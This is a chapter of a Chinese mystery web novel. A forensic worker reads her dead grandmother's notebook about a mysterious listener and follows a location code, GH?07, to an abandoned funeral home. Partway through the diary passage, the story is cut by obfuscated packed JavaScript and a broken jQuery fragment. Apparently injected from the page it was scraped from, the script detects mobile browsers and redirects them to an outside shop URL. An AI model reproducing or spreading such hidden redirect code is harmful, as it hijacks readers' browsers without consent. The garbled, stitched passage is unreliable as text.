抽屉被完全拉开，昏暗的天光落进去，把里面两样物件照得清清楚楚。
一本黑封皮的薄本子静静靠在抽屉内侧，边角被摩挲得微微发柔，看得出被反复拿取翻看过。
本子旁边平放着一只朴素的牛皮信封，没有封口，信封面上一笔一划写着两个字：晚吟。
是奶奶熟悉的笔迹。
苏晚吟的呼吸放轻了几分，伸手先拿起那封信。
指尖捏住折叠的信纸，缓缓将两层折痕摊开铺平。
信纸带着纸张存放许久之后淡淡的陈旧气息。
开篇第一行字撞入眼底：晚吟。你看到这里的时候，应该已经把隔壁GH?07的位置也找到了，那是我留给你最后一块拼图。
往下只有一行手写地址，字迹沉稳清晰，除此之外再没有多余的字句，没有注解，没有交代缘由，留下一个沉甸甸的悬念。
GH?07未建那个百思不解的编号，原来指向一处具体地点。
苏晚吟盯着地址默记片刻，小心翼翼把信纸平放于书桌空荡荡的桌面上。
她目光转向抽屉里那本黑色封皮笔记本，伸手将它取了出来。
封皮微凉，不知道里面记下了多少被藏了许多年的往事。
窗外光线微微移动，落在黑色封面上，六楼密室安静得只剩下她自己平缓的心跳声。
她指尖搭在笔记本封边，还没有翻开，心底已经隐隐明白，奶奶写下的全部过往，或许就藏在这本本子之中。
苏晚吟指尖轻轻掀开黑色笔记本的封皮。
第一页映入眼帘，顶端落笔写着一个日期：2007年9月3日。
底下一行字迹工整清晰，是奶奶沉稳的笔迹：21:00?22:00，诵经声持续。
他在听。
简简单单一句话，没有多余修饰，却瞬间把她拉回十九年前那个开端。
苏晚吟心口微微一沉，指尖划过纸面，继续向后翻。
第二页，日期9月4日。
9月4日，20:45?22:10，他在听。
今天他坐的位置比昨天近了一排。
短短一行记录，藏着无声的变化。
那个人隔着楼板，一点一点靠近。
她屏住呼吸，翻开第三页。
9月5日，21:00?21:55，他在听。
停了十秒。
我翻了一页书。
他翻页了。
苏晚吟的手指顿在纸页边缘。
奶奶翻页的细微动静，居然被下方那个人同步回应。
两个人一在顶楼一在地下，看不见彼此，却隔着厚厚的楼板形成了一种奇妙又诡异的呼应。
没有对话，只有一丝一丝试探性的互动。
笔记本纸张微微泛黄，每一页都留存着岁月沉淀下来的痕迹。
她抬眼望向办公室的地板，仿佛能透过层叠的水泥，看见地下二层那片幽暗的停尸区。
十九年前那些夜里，奶奶坐在这张书桌前低声诵经，暗处的听者静静待在下方。
她把每一晚的细微变化全部记下，一笔一页，悄悄记录着这场无人知晓的对峙。
苏晚吟轻轻往后靠在冰凉的书桌边缘，指尖一页页缓慢翻动纸页。
往后日复一日的记录，格式几乎一成不变。
先是记下准确日期与时间段，接着寥寥几笔写下那句“他在听”，再标注对方所处的位置、细微的动静。
有时只是单薄一行文字，有时会多补上两三句细碎观察。
一页接一页，时间稳稳向前推移，整整七年的光阴，大半本笔记本都被奶奶的字迹填满。
泛黄的纸页承载着无数个寂静夜晚，顶楼与地下无声的对峙，全都悄悄留存于此。
越靠近本子末尾，笔下的力道渐渐松了。
字迹越来越轻，墨迹也淡了不少，能看得出书写时气力不足。
她的心跳不由得慢了几分，指尖顿住，翻到最后的页面。
落款日期，正是奶奶离世前一个月。整页只有短短一句话，字迹虚浮无力：
“他来了一百四十三天，再没来过。声音停了，他不见了，他不来了。”
苏晚吟垂眸盯着那行字，指尖轻轻摩挲纸面。
七年不间断的暗中留意，那个人在漫长时间里断断续续出现，最后只留下一百四十三次完整的聆听记录，便彻底消失无踪。
没有缘由，凭空断了所有痕迹。
这么多年悬在奶奶心头的窥探，忽然就戛然而止。
她抬起头望向六楼紧闭的窗户，狭小的办公室静得压抑。
从前每晚隔着楼板的感应与呼应，到最后只剩下一场无声的落空。
奶奶直到生命将尽，也没能查清那个神秘听者的身份。
苏晚吟合上黑色笔记本，指节微微收紧。
狭小的六楼办公室一片死寂，只有窗外微风擦过窗沿，带起一丝极轻的响动。
她静静立在书桌一旁，心底翻涌着万千思绪。
奶奶在这间屋子里，坚持记录了整整七年。
无数个深夜独自坐在顶楼，留意着楼下那道看不见的身影，将每一次聆听，每一点细微变化全部落笔留存。
直到对方毫无征兆地不再出现，这场漫长的隔楼对峙骤然结束。
苏晚吟低头看了一眼手中两样物件，小心把信件和黑皮笔记本折好，收进外套内侧的口袋贴紧。
她俯身将抽屉轻轻推回原位，插入第二把铜钥匙一转，锁芯咔嗒锁紧。
做完这一切，她转身走向厚重的灰色铁门，取出第一把钥匙插进门外锁孔。
金属钥匙转动，沉闷的锁闭声响在空旷楼道荡开。
密室重新落锁，十九年尘封的往事暂时被关在了门后。
苏晚吟握紧口袋里的东西，转身迈步离开六楼昏暗的走廊。
信上标注的GH?07地址，便是奶奶留给她接下来必须奔赴的方向。
苏晚吟走回解剖室，屋内冷白的灯光静静洒在光洁的解剖台面上。
她将信封与黑色笔记本轻轻放在台面上，指尖带着一丝尚未褪去的微凉。
她先拿起那封没有封口的信，再次摊开，目光牢牢落在纸上那串标记——GH?07。
这就是奶奶所说的最后一块拼图。她默默把编号与地址记在心里，小心将信纸对折，塞回信封，放到一旁。
随后她伸手拿起那本黑皮笔记本，直接从最后一页往回翻。
纸页一页页向后翻过，直到那行字迹轻淡的文字撞入视线：他不来了。
她指尖按住纸面，动作顿住。
奶奶从未查到这个人是谁，也没有抓住对方的踪迹。
那个人不是被发现被阻止，只是自己不再出现。
七年漫长时光里断断续续的聆听，最终留下一百四十三天的记录。
某一夜之后，底下再也没有传来任何动静。
奶奶默默等候许久，确认对方彻底消失，才在本子上写下那句简短记录，封藏起全部记录。
苏晚吟压下心底翻涌的疑惑，继续往前翻页，一页页掠过无数条“他在听”的日常记载。
翻到本子中间位置时，一页突兀的文字让她停下动作。
这一页没有记录顶楼与地下的对峙，是奶奶随手记下的杂事。
字迹依旧是熟悉的笔迹：
林美玉来了一趟，她问我能不能帮她看一个梦。
她梦到眼睛被挖掉了，我没告诉她那是什么梦，我说梦里的事不用当真。
灯光落在泛黄纸页上，一行字看得清清楚楚。
苏晚吟呼吸微微一滞。
原来早在命案发生很久之前，林美玉就已经找过奶奶，提起过这个诡异的噩梦。
奶奶明知这个梦暗藏不祥，却选择闭口不谈，只用一句宽慰搪塞过去。
无数细碎的线索在此刻骤然勾连在一起，一桩桩旧事压上心头。
苏晚吟指尖捻着纸页，继续往后翻过几页。
密密麻麻记录偷听踪迹的字迹之间，又一段零散随笔突兀出现在眼前，并不是关于那个神秘听者的内容。
奶奶的字迹落在泛黄纸上：
周玉芳的女儿来找我了。
她问‘苏姐你认不认得我妈’。
我说认得，她说她爸还在。
我说‘你别往里看了’。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815866|210167||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>她看了我一眼就走了。
她没听。
她垂眸把整段文字慢慢读了两遍，一字一句都在心里捋清楚。
一想到那句无力的劝阻，苏晚吟心底泛起一阵沉闷。
奶奶看出她正在追查危险的旧事，出言提醒阻拦，对方却一意孤行。
她伸出手指，在这一页纸的边角轻轻折出一道浅浅折痕，做好标记，方便之后回头细看。
随后合上黑色笔记本，连同那封写着GH?07地址的信件，一并稳妥收进外套内侧口袋。
她起身锁好解剖室存放物证的铁皮抽屉，确认柜门锁死。
GH?07那个神秘地址还没有去核实，眼下天色已晚，奔波一整天之后不宜仓促行动。
她凝神思索片刻，定下心做出决定，这件事放到明天再去追查。
冷白灯光静静笼罩着空荡荡的解剖室，她把两样物件收好，指尖无意识摩挲着本子边缘。
无数悬而未决的疑问压在心头，只等天亮之后奔赴下一处线索之地。
清晨天光透过走廊狭长的玻璃窗斜切进来，落在地板上拉出一道淡淡的光影。
苏晚吟捏着那张写有GH?07的纸条，指尖微微收紧。
一夜没有踏实合眼，眼底藏着一层淡淡的疲惫。
她径直走向老刘办公的房间，门虚掩着，轻轻一推就开了。
老刘已经坐在办公桌后，面前摊着厚厚一叠昨天整理完毕的案件报告，老花镜架在鼻梁上，指尖正一页页翻动纸张。
纸张摩挲的轻响在安静的屋里格外清晰。
听见推门动静，他抬眼望过来，目光先落在她脸上，随即留意到她攥在手里的纸条。
苏晚吟停在门口，没有立刻上前，短暂停顿之后才迈开步子走到桌边，将那张纸条平铺着放到桌面。
黑色笔迹标注的三个字符清晰显眼。
“你见过这个编号吗？”她的语气听不出太多情绪，只是带着一丝迫切求证的意味。
老刘垂下头，视线落在GH?07上面，沉默着端详了好几秒，手指轻轻敲了敲桌面边缘。
他在这行待了一辈子，很多早年旧档案和废弃机构的编码规则，早就刻在了记忆里。
“GH不是咱们法医中心的编号。”老刘缓缓开口，，带着久经世事的沉稳，“是隔壁老殡仪馆留下来的，九十年代就彻底关停了，GH是当年他们内部的库房编码，G代表地下一层，H是第六排第七列的位置。”
苏晚吟站在桌前，心头猛地一沉。
老殡仪馆。
地下一层。
第六排第七列。
奶奶信上留下的最后一块拼图，根本不在这栋大楼里面。
她抬眼追问：“那个殡仪馆现在是什么状况？”
“关门十几年了，主楼部分后来简单清理过，唯独地下一层一直保留原样，接手的物业不敢随便动工，原样封着没动过。”老刘把眼镜摘下来放在报告上，眉头轻轻皱起。
苏晚吟伸手把纸条收回来，重新攥在掌心：“你有没有办法，帮我进到里面去？”
老刘抬眸深深地看向她：“你打算自己去？”
“嗯，我一个人。”苏晚吟语气没有半点动摇。
太多秘密牵扯着奶奶过往的旧事，其中内情她暂时不想把其他人拖下水。
老刘叹了一口气：“那处位置我还有印象，H排第七列，那个格位到现在应该还是空着的。”
得到想要的答复，苏晚吟没有再多逗留，转身就往门外走。
脚步刚跨过门槛，老刘的声音从身后传来，语气掺着一丝不易察觉的担忧：“别一个人去。”
这句话清清楚楚落进耳朵里。
苏晚吟脚步顿了一瞬，后背微微绷紧。
她听见了那句叮嘱，心里明白老刘是好意，清楚废弃地下空间暗藏着说不清的风险。
可她没有应声，也没有停下脚步。
几秒过后，她抬步继续往前走，身影消失在走廊拐角。
老刘望着空荡荡的门口，伸手拿起桌上的案件报告，却久久没有再翻动一页。
他指尖无意识摩挲着纸边，眼底浮起一层沉沉的忧虑。